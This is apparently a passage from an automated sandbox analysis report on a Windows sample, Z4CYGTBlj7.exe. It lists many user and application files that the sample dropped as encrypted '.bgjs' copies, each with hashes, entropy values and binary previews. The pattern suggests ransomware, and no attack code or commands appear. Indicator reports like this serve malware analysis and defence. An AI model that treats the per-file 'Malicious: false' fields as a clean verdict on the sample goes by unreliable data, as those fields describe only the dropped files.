Entropy (8bit):	7.883029011957
Encrypted:	false
SSDEEP:	48:VjZUI+6gRm/6Dtt5jqIDoKStSq6MTIGD3ZZUQuTmD:LTgRmCuIv1GTZZUQuT+
MD5:	28962836D927B6268712F3172E18079A
SHA1:	C2C2B5142E1420EB298B76F0B01C18FCE9969C60
SHA-256:	395E8F11B8E03B0B7E1F7B5E170C60AE4FF665379EE47FDE889D76DC168836EA
SHA-512:	9B30FF35EE4F14A0D238136E7F443B03434A67462939AFD83F219E7B59C64AD1A709EFAEBB950FC669106C585D01F534B7C43CB217155FF052DAC8ECCD20F7D3
Malicious:	false
Preview:	1,"fu{:(..y....x..;.D...e.t...L".r.\..,x..I%C._@........U.........k..+....[..@..\|H&.....ghn...X.@#z..m.].]._`.M$^....Q.,b.c7.U.q.....X.)...~....}.gm.[.j..w..N.........J.!).......6}%'w`W./..?..e...ZZ...$.'..UZ...X.a...g.W...&.R..\..!..U}..~.J..+......C.:.Q'......v>.o.;.@?3M [...~:.X.F....&$E....OK..j..(f.....2.Tt.`"K..`.b>..24.VPL4...y..&.H74......-....+...}6l..[.Y.%F.....%U..e......l.%.Pi'AB..<..7JK8S......L.....T...6....)..}.E.\|![]U...8^VbJ......W....E.6...[.W.....fQ...d.....V...L.&s1RA1.bM....$......gSQ.I"...WVi...J.?.8/....Ay.9gJ....m;D2U5.U.s....G..%f...!V.p.8.92..$=`...u.'.....o..+!..]o...(._-._o@....>.&.2.....6\|.]....y%..qr..f..e...-Q.........."..J.N.P..!L~}....G..2k...D;LX..j.j.K...Q(D.!7.$...\|.0a.....a.PY3....W'.8h.f.H@<\|"...q..h.Y...:..S...k...:#..D....H..I.C..J...kwb.l..zQ...-.L^.........f.d.4..-.....+.xm...GX.p^9J.....M.3.=..Y.:.....U..W..C...5y).Vpi7...$S...@....SAX...t....eOr.2.J7W.......1...V.]E..mZ.W...O.VNw.....J

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.779252399572142
Encrypted:	false
SSDEEP:	24:aFbkYYHelGP3wp2H/nSujU5OZjuWAC1HXRG9QULyfsbD:8kYYHsCNPvjxduYPULyfmD
MD5:	C4F1493A4B32DEEC9F27CB65B74BC6AF
SHA1:	8F2A540E015DD69713A95B769B759845E741DD5B
SHA-256:	F89A18E5BC42C685915A9F8CB3C40CAAB61250DE93EFCB2199496491EED6FB36
SHA-512:	7FF29864597060E356BBA0658E4A61522BCD6F942BFEE1769A5FB638CD70650B6F351E95BDAE3630B3128FBBED6C3FECACDB1F10868AD22DFECD16806E7BE139
Malicious:	false
Preview:	1,"fup.......X.]....40...J...'b.E..7A,.5.&. ..P.M(...r.I..$.....B..Z/].$...5....4..Z.~.....m.2{...9.~b.OV5.5.^.......9.\|=.....nD.7........9[8..\.?.{..x6...\.~.....h_....<.....B...*P`...I..j&.....tw..$....E&..b...k....:{...Z E..If....j......o}.(.<.~..d.F0..../iIM...\|"..cM.-..v..g. ...4ex..6.........0@....j<...Z.!f..j..?En.JS.Y..Z.)..\D....f.E?..T....Q.._..w....Rr..._.<.`.i.)!w......-T...~...oq.......7NV?.ue...C9:..Ty...&.-.4w..%lg.....N\|.9}7..!....Z..._....dSM.L7.M.>.<.?...#....".C<.:E6z...v8'.......\|..1.6P.)..i7...[_[...?..z.P.....RC...7.,...c.~.x.1.a..~.N...OIU..w....'3..R_...(.a.n.8Y.@>^.(.8.{>~..t..C..{..jdrZ.......}%.U#..........h).i.F......../^Ls...Ef......CE@...f.[g$.g.....Nr..fk...M..h.2...kb..7...nC.w.z.L...U.....c.T....K.EL-..A<._v..5..#..C.5...C.A.c........{.r(a._._rR.]5D..h..s.u.o.w..I..a8../.."}........=.....@.K.J6.V.......?...3u8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.824898455390669
Encrypted:	false
SSDEEP:	24:SFmkcZHJzhxo8aZTFHpZAFF9L9G22JRVmzsbD:cAZXovZTNpZAFF9P8jmzmD
MD5:	CCF357E09DD7D6ED31BBD92189FE076A
SHA1:	C44BADFF7E30547718FAC64A9A573CA7527E62C9
SHA-256:	A112A7C4FFBDA5285C242AB2390B1A251E054AE1D0D7F73CAF288C39E3B0E0A0
SHA-512:	4827EC9765D125F7A501C57287A7836CB76AC8C3324E71513A14FEAA323738CEF74B9D999DABA38C7BD262C87CFC363D10850C99316B6B6E3CB3889AF5930D19
Malicious:	false
Preview:	1,"fu.?E..s.O.u.lv.N....s.H..d...7'...N..>._.^.1W.\.....3...e:.(..-..B.]...........U..\.l"o......?p....f..g.f.L..>,6.X+.....@"..p]..g1.....dQ..0.....2.hu..X..Q3...w%...vk/..q.j.5...k. ........5.!.s.a.&.....,L..6.....>..P)...[....+.?....m...(9........e....h..;>.x........j.....Hc.&..Mc.a.}..epwq-.qU..I...DW....&.......N .D.+.A.)......U..T...D..J...H..`.....A...%.>...n.o.....%...l@.i#.......X.L...i.I.\s..z7..w.O../....&,od..9\....>..m...x.E..L..p[1..V.r.L.)....CR..;.7.U=.._X.%x...._..%6......#....nwo=..p.....=...XF.....B.\|]_....._n.,..E.........0m#.C.h...A..KY...=F.k.P........Qy..<.^g.'.YZ).d8..>SX7f.....\?.~V....\O.........b./.gm...m..<.Gk..N..(.Z..q..P..A..t.:.....S.G.O.T(]\.j...o'...}3....#k.x.....W.#..vrJev<NI...JP.1?.x./^G.y...^.2.T......"...iL`...(.1......I.*S....T..%.?1....7....Rn.f.Eu........X.lS+........w..4......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185200666616976
Encrypted:	false
SSDEEP:	3072:8yQb/fSBvTH5cnB6E6mycKGOqXxK9n3Um7sw3ZEMo+OmrLEbsLBfE:8NTfSVG567c7KBkmV3ZEMonZQ18
MD5:	06A18977E25BF0F8542C672CBB629AC9
SHA1:	A2EC8761764E8498BC94E54C1A441D8E0CFE4524
SHA-256:	754DF4E61DFA50F079099CD9248A1B0981BF6A0C9532BF5150EB81229FCBE791
SHA-512:	A8A8ADA854AF8D4740D7775DAF887C6945D8E4E8816F5276CA484CE135A8EDF6BDACA466503053F687053B59B1B1E467C3DD875351A491CF93F8D98A0DB3C616
Malicious:	false
Preview:	.......Mnt.T..:.F.....9y..K..p.........Uy.w.w7...w8.....m........./.c.z4.G.\........n(....\..h...)w..+H........\..zG.=.1...gP^b;.!....'.j.B)...D.y.,.=..PAA..{.4.l.g......3..I.+.....q..2.G.n.@%TT....'GC..\|.....n,........%d......,..5.~.i,....W;.....>..v".]4.#...fX.s..z.l...K.PF.9.p....;.].&i.G...2B/.R8.fG.?h$.....Z.....c....Q-.g.?3.D"..........P..F......T.c.Wm..............6.R...TL.....>..#9...Gc.-.\.uzhO0.T.#.s.N....#.L..b.B..'.a..Q...B.......2..l0L.~.O.z.x..BnV..rG.....D.>.8,......S.....4.o.acBu...X$30..X..S.....?....Z..ZJ.....ht.....[fS:.;.`.h'TP...f.i.."\|.I.(.[..H$......_.....yK.-.Z..X......U..M....d.e...K.3qc(....H;I...#..../..t...^2...YP..V..P,..e/.Nu.9.n..=....4.EiV.n...^.........LBeO.?.j.\n...=..Y..->..gN.V..@.5...m`.._O.xl.p..C}..I....c.{....AM..s.:.ar.........l..R.W.Hv....,..D...v...o5..K.H.X2.S.?dG.3v.~..A'...%..,D^<1..B.s7..T&cj.2...e>.m.^...)...vz.o....pq...1.^.B.....z..[..yTK.1=..ij..:J.h..q.o...&.].p.....SD.x.N$8}..D.Y....s....

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.905415179004801
Encrypted:	false
SSDEEP:	48:Pnw+RTngg3oNL4c5tBt1fSdZcvDOzSDGwF6XYzuSimD:PnZRTngg4Nkc3l6dZA8Gwozc+
MD5:	5E8FA3E2E61F30B9DBCF7A0A93483120
SHA1:	B8E90D111A771996C68D3D7DDA360CAF6B96691F
SHA-256:	D4854455A76A859A5585639891FE795D32A2EC6D43B022623BBD952540850C05
SHA-512:	E34570DB0152DCEED31B3FCC0603850FAF1BB250D612A58C5A6AF8861BDD1E97BE3C6B7734DAB037779927535099DD2548AEC15AF83F99E410D0E5CCDA981C6C
Malicious:	false
Preview:	<?xml"bg.!V%.`.0V...C[..j.Z.V.x%.....OK....r..:M.FaD.A9....D........FL!C}....K...U....gc.....T.0kp.Yd.P0.+.c8....0....Q.N...%..0...Foi.......X...W0.q.....q,.V...lb..Dh.~d.S..x...3\.pT7k.H...C.!..@MX`.we......?m..f%..)R.e}.ikh.K........@M.?j.8..F....C.k...U.A.....l.?....E.EE....;B."...\.mC...S.Y..I..JdD..'.....V..R...... .E...e..v.;.Di.[.....+...].....c.M..9.&.=(M.o....C........A3{ ...9"j...2.......c.,L....vBZ..J.._N............r....@#..P...o..e.h..%...R..`.f.uu9....n.Z`.e,.........K8..U...Fz.q....W.U.8s".1. .<$.Q.......U.:...75..e.RJCP..X+9T\..q.UD...en...@..z.\|@_.R..r.tx.g..$x..[.:m=...m..... `........M..."...<..}.2.t...z<\..k&G...D..u......\&.y-..F..e.HA.CPQ.w%.....]........?.......Y.....W.....l...a...8......O.......{.E..yi......tj15...JW.g.L(..k.&..IN.b-R6]..Y.....4.........c..3...5...a.(P%.'.......za=A.(./"*.............9O.x<gy...e...!@..w....r.@Y..-.q..(T.e[%.&.C-.......6..,..b........Y...`P.B........O.b....U.).5C2-.M

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981265993779118
Encrypted:	false
SSDEEP:	192:KI/iS+R2MWhFG2DYCR8uJr601vqHxzyfLMmV/A8yl3ozWYCVaK+:K68UMoFGW8N+iRGTn5ylYzWpVs
MD5:	569C224DBB15C189D261E090A9CF1236
SHA1:	AABB1270669BB98992CB2A396D1420F8AD58E7B6
SHA-256:	D3312BBAC9202523939E8E6390D5B82E063914BD8D3DAB6FCA8FEDA343BD5877
SHA-512:	8564714821983A95849FF4837300755D9BD2C0BCB3D99C7B83064201F4E8ED1EEF0AB62158EB5AA940B9B8B271DB72773994EF2E0ACF93DBB5DEC81157D17087
Malicious:	false
Preview:	..E....0.P.=6..+...:\(....E.OP.f.E..C4m..cv...C...>..m..t..M.B..o.e.?%a.-k6.1.%E.(........-++6..}.+[}.....S...?q../.7>..x]G..M...!.R..(....&..F0............0F._JPGs...L....G..j^T...~..7..61P.T......&...+..F\.../<`...:".3.`N...-...<B...-(...?.([W-.p.....S...+..A.jt.L.y.q..A......%..J..ari......6...!.5OB.C.#...W.......m..0...."fM.'......e.89...Sy..;X.. .0.S.>Ap..o+h..=.....sPT..?...l"kg.q...sq.e.6E.DV.H..Dh......[.0..1..L...3@K.PhN.#m~+.ZLr..048..Ps./g6.5.<N....(.(.....m..........O..+.............X.A.$...+". )..gG.0.>/....7".uJ..C....j..f%pm.....D..}U2.B<.`...x?.u.l...Y..K.#..X..d..Z....`q.....z;...\~..nW.v..5#"......-..l.0.95Ax...".'.dh.p.n...QQ.2.S..].....e.T...T.h...Q........6..O..~j.5&.0.~).{.am...r...I...P8v.N.#/7..F"...&h.T.....-.,.. ...T....y... r.`.).o.Mj.ce......a...{..%%.s.gDW..."9).nh..l=IU....X#.W....]8Hn&H.E.......}..^....T...4..B..9.F._.w.p.PC.aqa..6.}n.....~....=;.dq......k.2F$....o...\|N..~gC.o...,.P.t.f2.d..&.....t.'_...}.!.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.959055311561821
Encrypted:	false
SSDEEP:	3072:AN04k4TkN5e0PoZl1I3jhIsqLEuBRcbbXczeXl2OrIc58HvI9jr/xdNiTCARzDSP:8TtiPom3iswpBq71lIcWHKjrpgfhm
MD5:	623D159A360E1B6657861D55949C39C7
SHA1:	4F2A1723302636582D39497ACC5412B6979664A9
SHA-256:	E289F949A2EC15C66872A23E3657AB7A06A787EE31BD6EE480F50F376A7660FA
SHA-512:	381F2215B04D35793A1CCF14BF3815526CBC54D092D3829ECA317F0CB85B104C89D8309ED82222EB492F1828EF507297B842481D92F45F53848F79757AD9DC32
Malicious:	false
Preview:	?.8T...L.R..n@.69..)(.....4l`...M....Q:...A-.F.t..9u...i..8..R..U.....Ue.:.L.FI....d.u..%.Z.3B&s.......G2....q..w....r(.1.....6.~.....LL.kJ\/s..t.I......!A..t..!...V....AzQ...9.....{....x.R.{..R...........SC7....x..#...f..c.L..........Z..'yqm..O;T.....lt\.%..."O....1n:..3N].Aze.+e-5h..\....B..q..P..02?...-...{...gn^\|..z...\^.I...[.h]..f.m..o.....4XN..X..A.....Y.C.x..}...%..8..P"Vz.R.&..U...-..L......D...#._.b..+}.......2..yQ...?.{hO..I......X..N.p.D.....}8y0...o.M~..DPJG...-.$a..j....^..G.x.Y..>.e.b...!.).[...?K..9..48.....g7..4.d..K..m..2..Z...[.e.eo.~....0$J.........J/;i.V..0(...=....C...S.Qy.PNC..s..G+9tyE...S...z9.... ..(..&.J.HJH.E....).'.j.w....'B..2...-N......=..s.M......;.....cS}^..7vq.\|......B.:..r.Tya.V.".M.D.."i.a.`=7...z..w9...]7..n.5..Wj$..Y......m.n-Ij.X......T..'0f(.g.q.C. .r(1...IF.b*....<-....`z....5_.>...c........7r.'-ljv...#g.A....nc.3...4p..YN.K.\~H....$...Aqg........-4..5..U#..p.u..T.c!.u...JP.B..M).......F.....".

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074533772967846
Encrypted:	false
SSDEEP:	3072:DE9DtULSIlJFgQYuDV4jfYFVhLjAoBsHfR6D3IfGmgljLtzraup1BQc:I9RIDa2mjgpjeyIGdLt3aS12c
MD5:	87D1BAC51FD20BAC900E45199EB738E8
SHA1:	99ADD085227E3B7AF0D756FD2D01AAA79A258616
SHA-256:	B92494A2555A3BBD38F3571EDAD5275C1469834A941BBF332E879DBA06FBFC11
SHA-512:	06A45D1E183CBF1613C51E64EDF118589E14393399119024504D31B97B9AE928597EC8AEFEAEC56EBE88972E5E06D20D7B74354246873232B58437CAAB165805
Malicious:	false
Preview:	........._`{.;.`....u.!.YJF..t.83...{....{U...U.L.PM.gY9...:...X...e..u.t_...P{R..X=..O....i.e:M...F;k.... ..............b..O..B.eU-...q[....tf.W.......K........>.\...?..\|........?{...j..7S.M6.t.)....y..~.#.c.s3.V03....C......X..[Ob....L..Y0b0...i....4T......I..Ly...P..}.!.n<x..s{\|..._9)..tQ,.k....4\|... .!..D.z..;^&..C.R.Ik'.B_..$..nl[...X....-<yqs.>lQ}....,.." ...~..k...w.Z...om....!....].e..S..i..K.=F.....:0...p.T.h.P...1....`..a...Kr..d...#=9....#....$g..."..r.p......-W..V'M.2Y.p.^..Z....HIF.6......O....F.N:...r..AK...,..(E...Q+..".0..x.~P...O..h..4.E.<.#.-...g!a.c...U..+A..j..0.\;9.R.GY.}.c.H...T05$.....v..&....X..hb.Bw...v..SZoLg<.v\U3u@(B...o..g.......-...z:k...B....A.B..WSp.(......q7..F.w^T.,@..X...1.,.FK2...A.v..Q.1.K....:F.OpGm...l.Q)....HK.....K-.7L._..X$..^..X..\|g9Z......tu..W%..%.n.. M{<.'..\.....3C.R...5..D.c...v.e+c....lf......s..fy6/+......#<.x.v!O4....3.*4.B/.."a.>..4...8..}a.E..l#W.....ph.f.{.....l,....d.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2071289495684887
Encrypted:	false
SSDEEP:	3072:zNK8tkJwBENAmuMmlC8Ghx6PMTMF6ovI3B331MKYBhx3lIRftd7YR8HyL:z9tCTupGyPMTCLgB331M3hx3KVnYRf
MD5:	0D5ACE11FCE284C188BA9E60A65DF479
SHA1:	FDEA9E0A0F6B1AA8432179958C7DF7277FAB7506
SHA-256:	FD053569E0195BB93929C620FEAD673930966053C5BA0BF4200AA0F2932E10A4
SHA-512:	5A49AC3D45C6C737B393639822A5296B8EA3E7FBBB2732ECAFDFACA01E6C7164BA51E7D693C9599AECB96A1D425A4FC15301089BA4B8B0D13788057E2EAE2227
Malicious:	false
Preview:	.....]...v .G..dt6...{.IJUj........%.G~.......5...z..t....~5..3aD....X.-r5`H...y.Q..w..&&xb.\|\....S.....x.N.h.Z.,.u..,.J3-5.=;...\|..!-k..F.94"aLE..\|Y.>..x-..@?.vq......gZz.]_..[+.q...;.yY.....P}\|..v.Z...nJ ..:.=.....".;.......W".S...........'$i..>......~.R.......[..]{....N.{....@..Hq.kL....YJ.l..;..w..HT.])..\.C(.t..\.L.].n..D.0P.&..5.4\|..j......?.4^.........d.....f......OOZ....Ye.h.......O.}.......L,.H.../Bc......R...s.9%r...H.Q...nid\..8.X.-.<. J`......k5.3T...'.!..@....X..(xQd..?xF..j$c...7...]........._z..!....\|.v.$.0R....:.$..G.?.!.....,....6{.I....Z&.u.+....JS....1...%....nI.........2+UJT..B@....G34....=d.O..G".e..X.Z.em._....6.t....CE..2.=ae..7.k.e...!p.U.M....m.`...tH....!^.bh.e...@!6.5...j..0...\E..P+o.aA.....-#..F#.6..+^...\|;nw-...'.fIz...rz..h/(.5..N-...#..._...W[<.r.X.J.,.>J...>.......\|.D.Q.....=.qr.....m..N.j7.+........2$.UDE.^...KGY..i.".T..5{k..>.V.+.[k...,... ....-...4.9..8.xbYM..}....^.xW..................\>....@.+..0...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2073783017413358
Encrypted:	false
SSDEEP:	6144:zJ9ksYYAdy1erb+Vf7onL3fhjKnzAh+Pe:zJ9kMAbefGL3fke
MD5:	68AC643D15C2AD3F9C9FEAEF66622E2D
SHA1:	A5F6925EED6F70CA423A5C730891CAB3C483A94B
SHA-256:	8DE6EB61ABAE16453CC6226F14F890B454FB80DD830699E59E2E92A4F4AD910A
SHA-512:	48BEE4130433449F637CEE8FAB663274E8C062B805E2A5976E3DC11C873E77BF115EB47F99F88249602AF11DA40C6B2C10675E3408D844955C9CD445B9255CCF
Malicious:	false
Preview:	......D..h....[H.....+.u...........\B);g>.I$.&.>Pzmo.q..:.......?....z. ..J..Z../x\|W$& ...uD....RO+f).y.T..o.F..z.= ..[.....j....T.;}!.[7.BkB[.72.:.......S...2G;....\|..Z.vk..SF...Y.~.:.n..C.EB_E..P.No.$Q>L....LY.V..Vt.M.y..;.Q........>.....~<..{.6Z.h..AB...S.2iD.D.N>W...?E_...>Jp.!...F].cE..R..,W..Q.....=....}....k......i...I......^.}......q.5...8....[D$...(Vk..\.o_>.............h{..<..cF...Q'iW{..I..........3.My.......&..:S%...o..#.gqh.9H..p.}..hx.w..v.D].\(.....Z..X,.Q.C).SRn\|L...q..^.....L....\|...[.aQ......WS.?.={.m...xT[U.....'.'..Es..m%;...N.%.......VO..i2.....6....-.&.h$ib5.)N..T.0..NG....>..@\.>.A.!...p./...Q..^.....k=..Q(xQ]43.`.>.'.kp..SQ.....\.B?....s...oc:.Vw...B..J.X.q..2..hi{....@.6...Q....N]..t.!?...A..(...H...->e`1e..zP.+GZ...}.Zx..E.ki.\|"....^D.....q.q.{."..UB.....).o......p.Yf...)....,n!........\|....u....X.k:.0$.\|....t..%x<'.....w..m...-...Z..s...Z^...1..Z..X....4X.."E..l..O....Y+......r...\.S.d:)..4.f.v....K.!......0...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.947998721418248
Encrypted:	false
SSDEEP:	48:Q6lurN42X0UAcPiq/RRLtTW4HeyKnOWGVGr9uT6YQNgFysP0lZpJmD:EErcagROSkOFor94VGB+
MD5:	460311777538D2EAAB320C923496DA32
SHA1:	23C7D88FC5FEA65A26FE3E7DFC401D4796C07D34
SHA-256:	FEF55EC11364A02F77F0AFF813D76D1BD278A3102631B6C7C736D526E19E7947
SHA-512:	A9F388D14CE8E859AE3E9B46A8F97FCEAA53FFC57C8DC3CECE5BE7A261325703BD3B39E6CCB046F9049D3573A9A58BB485DBE5B92DD2FC364BBAB05590B13171
Malicious:	false
Preview:	<?xml..BX..$..[v.....`...J.^.......i.k-..Y..]S......7gJ...m....Z.. X.Q...uS........v.Bp..7.)..&.z......".GW......#.;..........FS...l.@.C..1..y^-E.C.m.oKW.,..........Z=.o..............f......uWu.Y..[.....^).....e&..u.$....nva..m.Z.E....g.XJ.5.L.\|.%=....Q.N.)..}..,..../z=6BJ...,ps.'/=..&..9.K fbIT....}...\|.G...K.B...,.]...]i..L.".&.O.....E;..'...{../..$8.P,...t.Q]z.H.5.l.-...3.[..E...J...Z\|Q..Ys.B...."H....x....2.}...R=..-.. l.)E.. .jP.0m...q.T.=.R..D.w0...6...+.C...?....;0...{..&...F....=cV.%...z..`L.....r1Jzp...k..SD.@4.P6.d...:5...b.N..=...2!.K..(#....D..:..F.T..k.u...(..<>@.CVR....._..z\Y.0.Ce\|....,..yU.@......J!D_I.T.?.3..f....[u..+..rJ.v...0.:....VB.4.v....9..?...yH..=.zi_.g.yE..b.'d.....J...Y...Q..}.-......8K........[.L#..HN.2._.._n..;....0z.a....,a..s..)...*.....d.;....l..5S.E.~...'l5;.wKy.M.......ft..I.::....Z...=..".Y.`<.feMt........2....Ay0.j`../..S...a&....V..K..Z.D..r.`+.jH....\|..M.e1+.-......._.......B.2mP..x.n.-.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.529893431131786
Encrypted:	false
SSDEEP:	12288:TVs0EzBH0brgY7pHIXSZlV0N8x5thr291gess3TylunXV:Zs0ElHG8iR6
MD5:	16CDB67DA6AFAABEE6B3FE6AC37FF877
SHA1:	74AAB5F4358696B7278AFBB16DCAD1496A08D4A2
SHA-256:	604520F582AC57A2318C732C41B02ED7AD714BA6C96253BC0A95C8F7269DD190
SHA-512:	9C2BA66D9430C466CB5D869EB5A4DA530BD509DB5A5A7410E0F689E787DF35B13D897132A1A5A27E74CB88641BBB73218B2F6A5C1B067FF2BAFE44BE01693BAE
Malicious:	false
Preview:	<Rule.\|`s..~......./w.....I....A.....-..r..f/......C....Z......,#oB<....i[..&...T..:...b..YU...............}!.^...BH..O.Y.....\|....,}g....Z".@....K.J....O.4RF..3......hR.xu.......~E...or)D..........{.6....M.1>..c.0....E.....E.4...._.....ud...Us6H.G..nYd..Po........,.(D.i..(.`.l..O:.y....5...F.kPQ.....P3.Z%.a.[{./...U...#...t...k#...z.:.e.P.(........a..X.....\...z&...M...............-.a...@..JN...\|@...YL....} .w.1.-.g((.H...;G~l.%t.m...d.V.U....X..?,..!..y.J..F...H..@.O../.7...=N;NLyq.{...I..V<.....0VX...4..b........3<..OJ...C.......P.v...!)l.^g.......a..n....x.......EI....0G.O.NP......B.3<..+};.H....u....W,NM...MQ.QJ. ..5.. 0m..`..[.Q[Z.A.......tH.N...L...~.$ePL".....+..0.k...T....'.h...=....==E.8......b.z.n.s(.4.d...p *...u...`..c..o9.[.....@'+....8x..Wk6.)....)..../....Z8#..6...acIp..+.]/$.I%9./.<l.c.].S.I..o..C...p....}.7.z.?...c....J.Qc.......qSZVl..K...pkMu.s...1.V..L."`.....m...H.yY6..r.B.#.U..y...W.B.n5.S.....K../..tR\|ZB..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.874889787551752
Encrypted:	false
SSDEEP:	48:Oe3jKbrLUlwusCG0UeDfDG7Oqs5dRKxFLrqmD:hjsrtuGsgFLW+
MD5:	2EBBD983D8CCBDF3A548D5FF20B5FDEC
SHA1:	DFA5451526D0D3A576924CDD180AF81754C9BBE2
SHA-256:	BD726FD71383DA5C191FFF939C9BEDFB41E40A28DD84B300C4CD046730466E7E
SHA-512:	C30F891E8FF7D2422F089CF275C97FE4DDB93472E36168938B296DF816C477EA09E7481A6164D05BBC846573BC797D84A24BF0ABCDCBD930B62909823D657D57
Malicious:	false
Preview:	<?xml.=d.......q.&.q...F.!..b ,..2..]....w...}.V.@.5.u$4.^.ms.......fKc.U..6N..P<'s.........\|......:......n......R..'r.......H.....Si...L.Y..\|f.G.....\|....>K.....Z..l...\|..C.....t...:I....sAXR.rrc..uZ.6... ...64......3-`j.Yh..{U...-..........B...b...c..d9v..b..E..E...}...3S.....P.).Q...p.U....F)..?...b..:0+.2.'.'..K.....p{AN....M.la.,....k... P...F.F..\.`r...0f....z{[........h.;K.....3...Z<..j'h.Dp.F3..R......;`r..G.%.....\|...H........s.&......x.....3i.....q....Fo%o.........ye.M.,Bo..,<.g.r7ZR8.$o."}M..X.h/._...............,...s..$.?m...tZ......J..~.....h.2.\....~..Ue./.Lx..d)..R.././]..v..v...S.b..@..o..id.H....u.G".u..L. .s.)..=p.z...ty.....~..;I......l./Jw...`.j.4...i..=....mS{].a.K.6Wl....... ].T..m.T.=...j6h.d..z..Q.-....R..C...~.m.).?h.....8.M3..9..P.. ...!.D.3.1-......m...O...jv...xi^..v)...&..0.@1.<..vv......w..O)..G..<..X....;.Y...........vH.....X'..e8...o...G.3.Q..T.2wE...9.d.......hOf..X..JO.".\|.c?,aC........).

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.929766081674359
Encrypted:	false
SSDEEP:	48:O+5fqQa6hx2sCt9Bldl9YepInh2yJCe3fXwKJKnIKRiklSZ1alO8TmQFGiaylYl+:DBqP13Wemh23O/JeIKRHl/O8TLaGe+
MD5:	30D9325D3E5A1CD9F087005B3EABC049
SHA1:	83E074069075DF382C6D9FB36EC141AD996BB09A
SHA-256:	3D2417500993881CE612A63F8F11056FF54410CA44DC486CCACA2D9FB4802BA7
SHA-512:	12AC46D6576D97379977D1D51EE9B90D75ED4FB09D2E933798ED0467C9B4D1EB99FCD7CA618FD31B43A1BEA042A7A6C5C3BB4C6BBBC53CB9098EC68F766FFFD8
Malicious:	false
Preview:	<?xmls6.A..d..........]...P...2v/....'{...3....a...X\.l..xS ...%.].........75.....?...w.....?..P.7.Y$l..2.i.^P.eg.:.\T.J...I.G...0.V\.....UX.c..?...C.r......_-.w.[.A...`.T..._a....2.,...)..'Z.p...1..j..?.....SS..1....._.Z@...#...\|PN~.-...u...Z*Kj...].."....... ..i.....X=a.&\.&v>.SW..\.+g.-........+.......Q8..+..<.;.;..'.m<...z...<\...D...sr..)...?..L)L...\..0.YF3..@..W3W!R.l..,.x.~..1..K..\|.p.MH....~K:.Tsg,8..(..;=.V$`C..?S.N#h...3.N.....'2..jB..cQ...h.#r..B...V....2".\|r.Y.sA6.. ...7t'.:=fh.a..l..w..J.h..2p._..L..N.....1..P......N....2)%uZ.W..LN..#4+..r...X............D..4..5..'..K.p#/..=.w./=....w....GfV5j..[.......V...5....zU...w.o.....i<.'..f8T.`.y...G+..7.B^2/...b.x...o..Fu..-..Qm.6..`....DA.]mC+.a~..._...@..jN....}Z.&.U...y.......;.......f..$'DR..;.....6.><.....v.(a.)t...u}5.V.....9... ....>......t..W.,.GA..:....HR<..H.Q.$/...".=C-.i]....>....n.-Y..J.....H1.}.....1?..g.RGVC....K.i.(..j.~..J.^Z..........j....!.+@.BL..D.l....s....,

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.953096642949798
Encrypted:	false
